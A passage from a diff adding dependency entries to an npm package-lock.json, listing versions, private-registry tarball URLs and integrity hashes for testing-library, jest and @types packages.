"https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "aria-query": { + "version": "5.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/aria-query/-/aria-query-5.1.3.tgz", + "integrity": "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==", + "peer": true, + "requires": { + "deep-equal": "^2.0.5" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@testing-library/jest-dom": { + "version": "5.16.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@testing-library/jest-dom/-/jest-dom-5.16.5.tgz", + "integrity": "sha512-N5ixQ2qKpi5OLYfwQmUb/5mSV9LneAcaUfp32pn4yCnpb8r/Yz0pXFPck21dIicKmi+ta5WRAknkZCfA8refMA==", + "requires": { + "@adobe/css-tools": "^4.0.1", + "@babel/runtime": "^7.9.2", + "@types/testing-library__jest-dom": "^5.9.1", + "aria-query": "^5.0.0", + "chalk": "^3.0.0", + "css.escape": "^1.5.1", + "dom-accessibility-api": "^0.5.6", + "lodash": "^4.17.15", + "redent": "^3.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@testing-library/react": { + "version": "13.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@testing-library/react/-/react-13.4.0.tgz", + "integrity": "sha512-sXOGON+WNTh3MLE9rve97ftaZukN3oNf2KjDy7YTx6hcTO2uuLHuCGynMDhFwGw/jYf4OJ2Qk0i4i79qMNNkyw==", + "requires": { + "@babel/runtime": "^7.12.5", + "@testing-library/dom": "^8.5.0", + "@types/react-dom": "^18.0.0" + }, + "dependencies": { + "@testing-library/dom": { + "version": "8.20.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@testing-library/dom/-/dom-8.20.1.tgz", + "integrity": "sha512-/DiOQ5xBxgdYRC8LNk7U+RWat0S3qRLeIw3ZIkMQ9kkVlRmwD/Eg8k8CqIpD6GW7u20JIUOfMKbxtiLutpjQ4g==", + "requires": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.1.3", + "chalk": "^4.1.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "pretty-format": "^27.0.2" + } + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "aria-query": { + "version": "5.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/aria-query/-/aria-query-5.1.3.tgz", + "integrity": "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==", + "requires": { + "deep-equal": "^2.0.5" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@testing-library/user-event": { + "version": "13.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@testing-library/user-event/-/user-event-13.5.0.tgz", + "integrity": "sha512-5Kwtbo3Y/NowpkbRuSepbyMFkZmHgD+vPzYB/RJ4oxt5Gj/avFFBYjhw27cqSVPVw/3a67NK1PbiIr9k4Gwmdg==", + "requires": { + "@babel/runtime": "^7.12.5" + } + }, + "@tootallnate/once": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@tootallnate/once/-/once-1.1.2.tgz", + "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==" + }, + "@trysound/sax": { + "version": "0.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==" + }, + "@types/aria-query": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/aria-query/-/aria-query-5.0.1.tgz", + "integrity": "sha512-XTIieEY+gvJ39ChLcB4If5zHtPxt3Syj5rgZR+e1ctpmK8NjPf0zFqsz4JpLJT0xla9GFDKjy8Cpu331nrmE1Q==" + }, + "@types/babel__core": { + "version": "7.20.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/babel__core/-/babel__core-7.20.1.tgz", + "integrity": "sha512-aACu/U/omhdk15O4Nfb+fHgH/z3QsfQzpnvRZhYhThms83ZnAOZz7zZAWO7mn2yyNQaA4xTO8GLK3uqFU4bYYw==", + "requires": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "@types/babel__generator": { + "version": "7.6.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/babel__generator/-/babel__generator-7.6.4.tgz", + "integrity": "sha512-tFkciB9j2K755yrTALxD44McOrk+gfpIpvC3sxHjRawj6PfnQxrse4Clq5y/Rq+G3mrBurMax/lG8Qn2t9mSsg==", + "requires": { + "@babel/types": "^7.0.0" + } + }, + "@types/babel__template": { + "version": "7.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/babel__template/-/babel__template-7.4.1.tgz", + "integrity": "sha512-azBFKemX6kMg5Io+/rdGT0dkGreboUVR0Cdm3fz9QJWpaQGJRQXl7C+6hOTCZcMll7KFyEQpgbYI2lHdsS4U7g==", + "requires": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "@types/babel__traverse": { + "version": "7.20.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/babel__traverse/-/babel__traverse-7.20.1.tgz", + "integrity": "sha512-MitHFXnhtgwsGZWtT68URpOvLN4EREih1u3QtQiN4VdAxWKRVvGCSvw/Qth0M0Qq3pJpnGOu5JaM/ydK7OGbqg==", + "requires": { + "@babel/types": "^7.20.7" + } + }, + "@types/body-parser": { + "version": "1.19.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/body-parser/-/body-parser-1.19.2.tgz", + "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==", + "requires": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "@types/bonjour": { + "version": "3.5.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/bonjour/-/bonjour-3.5.10.tgz", + "integrity": "sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==", + "requires": { + "@types/node": "*" + } + }, + "@types/connect": { + "version": "3.4.35", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/connect/-/connect-3.4.35.tgz", + "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==", + "requires": { + "@types/node": "*" + } + }, + "@types/connect-history-api-fallback": { + "version": "1.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.0.tgz", + "integrity": "sha512-4x5FkPpLipqwthjPsF7ZRbOv3uoLUFkTA9G9v583qi4pACvq0uTELrB8OLUzPWUI4IJIyvM85vzkV1nyiI2Lig==", + "requires": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "@types/eslint": { + "version": "8.40.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/eslint/-/eslint-8.40.2.tgz", + "integrity": "sha512-PRVjQ4Eh9z9pmmtaq8nTjZjQwKFk7YIHIud3lRoKRBgUQjgjRmoGxxGEPXQkF+lH7QkHJRNr5F4aBgYCW0lqpQ==", + "requires": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "@types/estree": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz", + "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==" + }, + "@types/express": { + "version": "4.17.17", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/express/-/express-4.17.17.tgz", + "integrity": "sha512-Q4FmmuLGBG58btUnfS1c1r/NQdlp3DMfGDGig8WhfpA2YRUtEkxAjkZb0yvplJGYdF1fsQ81iMDcH24sSCNC/Q==", + "requires": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.33", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "@types/express-serve-static-core": { + "version": "4.17.35", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/express-serve-static-core/-/express-serve-static-core-4.17.35.tgz", + "integrity": "sha512-wALWQwrgiB2AWTT91CB62b6Yt0sNHpznUXeZEcnPU3DRdlDIz74x8Qg1UUYKSVFi+va5vKOLYRBI1bRKiLLKIg==", + "requires": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "@types/graceful-fs": { + "version": "4.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/graceful-fs/-/graceful-fs-4.1.6.tgz", + "integrity": "sha512-Sig0SNORX9fdW+bQuTEovKj3uHcUL6LQKbCrrqb1X7J6/ReAbhCXRAhc+SMejhLELFj2QcyuxmUooZ4bt5ReSw==", + "requires": { + "@types/node": "*" + } + }, + "@types/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==" + }, + "@types/http-proxy": { + "version": "1.17.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/http-proxy/-/http-proxy-1.17.11.tgz", + "integrity": "sha512-HC8G7c1WmaF2ekqpnFq626xd3Zz0uvaqFmBJNRZCGEZCXkvSdJoNFn/8Ygbd9fKNQj8UzLdCETaI0UWPAjK7IA==", + "requires": { + "@types/node": "*" + } + }, + "@types/istanbul-lib-coverage": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==" + }, + "@types/istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", + "requires": { + "@types/istanbul-lib-coverage": "*" + } + }, + "@types/istanbul-reports": { + "version": "3.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "requires": { + "@types/istanbul-lib-report": "*" + } + }, + "@types/jest": { + "version": "29.5.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/jest/-/jest-29.5.2.tgz", + "integrity": "sha512-mSoZVJF5YzGVCk+FsDxzDuH7s+SCkzrgKZzf0Z0T2WudhBUPoF6ktoTPC4R0ZoCPCV5xUvuU6ias5NvxcBcMMg==", + "requires": { + "expect": "^29.0.0", + "pretty-format": "^29.0.0" + }, + "dependencies": { + "@jest/schemas": { + "version": "29.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/schemas/-/schemas-29.4.3.tgz", + "integrity": "sha512-VLYKXQmtmuEz6IxJsrZwzG9NvtkQsWNnWMsKxqWNu3+CnfzJQhp0WDDKWLVV9hLKr0l3SLLFRqcYHjhtyuDVxg==", + "requires": { + "@sinclair/typebox": "^0.25.16" + } + }, + "@jest/types": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/types/-/types-29.5.0.tgz", + "integrity": "sha512-qbu7kN6czmVRc3xWFQcAN03RAUamgppVUdXrvl1Wr3jlNF93o9mJbGcDWrwGB6ht44u7efB1qCFgVQmca24Uog==", + "requires": { + "@jest/schemas": "^29.4.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + } + }, + "@sinclair/typebox": { + "version": "0.25.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@sinclair/typebox/-/typebox-0.25.24.tgz", + "integrity": "sha512-XJfwUVUKDHF5ugKwIcxEgc9k8b7HbznCp6eUfWgu710hMPNIO4aw4/zB5RogDQz8nd6gyCDpU9O/m6qYEWY6yQ==" + }, + "@types/yargs": { + "version": "17.0.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/yargs/-/yargs-17.0.24.tgz", + "integrity": "sha512-6i0aC7jV6QzQB8ne1joVZ0eSFIstHsCrobmOtghM11yGlH0j43FKL2UhWdELkyps0zuf7qVTUVCCR+tgSlyLLw==", + "requires": { + "@types/yargs-parser": "*" + } + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "diff-sequences": { + "version": "29.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/diff-sequences/-/diff-sequences-29.4.3.tgz", + "integrity": "sha512-ofrBgwpPhCD85kMKtE9RYFFq6OC1A89oW2vvgWZNCwxrUpRUILopY7lsYyMDSjc8g6U6aiO0Qubg6r4Wgt5ZnA==" + }, + "expect": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/expect/-/expect-29.5.0.tgz", + "integrity": "sha512-yM7xqUrCO2JdpFo4XpM82t+PJBFybdqoQuJLDGeDX2ij8NZzqRHyu3Hp188/JX7SWqud+7t4MUdvcgGBICMHZg==", + "requires": { + "@jest/expect-utils": "^29.5.0", + "jest-get-type": "^29.4.3", + "jest-matcher-utils": "^29.5.0", + "jest-message-util": "^29.5.0", + "jest-util": "^29.5.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "jest-diff": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-diff/-/jest-diff-29.5.0.tgz", + "integrity": "sha512-LtxijLLZBduXnHSniy0WMdaHjmQnt3g5sa16W4p0HqukYTTsyTW3GD1q41TyGl5YFXj/5B2U6dlh5FM1LIMgxw==", + "requires": { + "chalk": "^4.0.0", + "diff-sequences": "^29.4.3", + "jest-get-type": "^29.4.3", + "pretty-format": "^29.5.0" + } + }, + "jest-get-type": { + "version": "29.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-get-type/-/jest-get-type-29.4.3.tgz", + "integrity": "sha512-J5Xez4nRRMjk8emnTpWrlkyb9pfRQQanDrvWHhsR1+VUfbwxi30eVcZFlcdGInRibU4G5LwHXpI7IRHU0CY+gg==" + }, + "jest-matcher-utils": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-matcher-utils/-/jest-matcher-utils-29.5.0.tgz", + "integrity": "sha512-lecRtgm/rjIK0CQ7LPQwzCs2VwW6WAahA55YBuI+xqmhm7LAaxokSB8C97yJeYyT+HvQkH741StzpU41wohhWw==", + "requires": { + "chalk": "^4.0.0", + "jest-diff": "^29.5.0", + "jest-get-type": "^29.4.3", + "pretty-format": "^29.5.0" + } + }, + "jest-message-util": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-message-util/-/jest-message-util-29.5.0.tgz", + "integrity": "sha512-Kijeg9Dag6CKtIDA7O21zNTACqD5MD/8HfIV8pdD94vFyFuer52SigdC3IQMhab3vACxXMiFk+yMHNdbqtyTGA==", + "requires": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^29.5.0", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^29.5.0", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + } + }, + "jest-util": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-util/-/jest-util-29.5.0.tgz", + "integrity": "sha512-RYMgG/MTadOr5t8KdhejfvUU82MxsCu5MF6KuDUHl+NuwzUt+Sm6jJWxTJVrDR1j5M/gJVCPKQEpWXY+yIQ6lQ==", + "requires": { + "@jest/types": "^29.5.0", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + } + }, + "pretty-format": { + "version": "29.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pretty-format/-/pretty-format-29.5.0.tgz", + "integrity": "sha512-V2mGkI31qdttvTFX7Mt4efOqHXqJWMu4/r66Xh3Z3BwZaPfPJgp6/gbwoujRpPUtfEF6AUUWx3Jim3GCw5g/Qw==", + "requires": { + "@jest/schemas": "^29.4.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "5.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==" + } + } + }, + "react-is": { + "version": "18.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@types/json-schema": { + "version": "7.0.12", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/json-schema/-/json-schema-7.0.12.tgz", + "integrity": "sha512-Hr5Jfhc9eYOQNPYO5WLDq/n4jqijdHNlDXjuAQkkt+mWdQR+XJToOHrsD4cPaMXpn6KO7y2+wM8AZEs8VpBLVA==" + }, + "@types/json5": { + "version": "0.0.29", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/json5/-/json5-0.0.29.tgz", + "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==" + }, + "@types/mime": { + "version": "1.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/mime/-/mime-1.3.2.tgz", + "integrity": "sha512-YATxVxgRqNH6nHEIsvg6k2Boc1JHI9ZbH5iWFFv/MTkchz3b1ieGDa5T0a9RznNdI0KhVbdbWSN+KWWrQZRxTw==" + }, + "@types/node": { + "version": "20.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/node/-/node-20.3.1.tgz", + "integrity": "sha512-EhcH/wvidPy1WeML3TtYFGR83UzjxeWRen9V402T8aUGYsCHOmfoisV3ZSg03gAFIbLq8TnWOJ0f4cALtnSEUg==" + }, + "@types/parse-json": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": 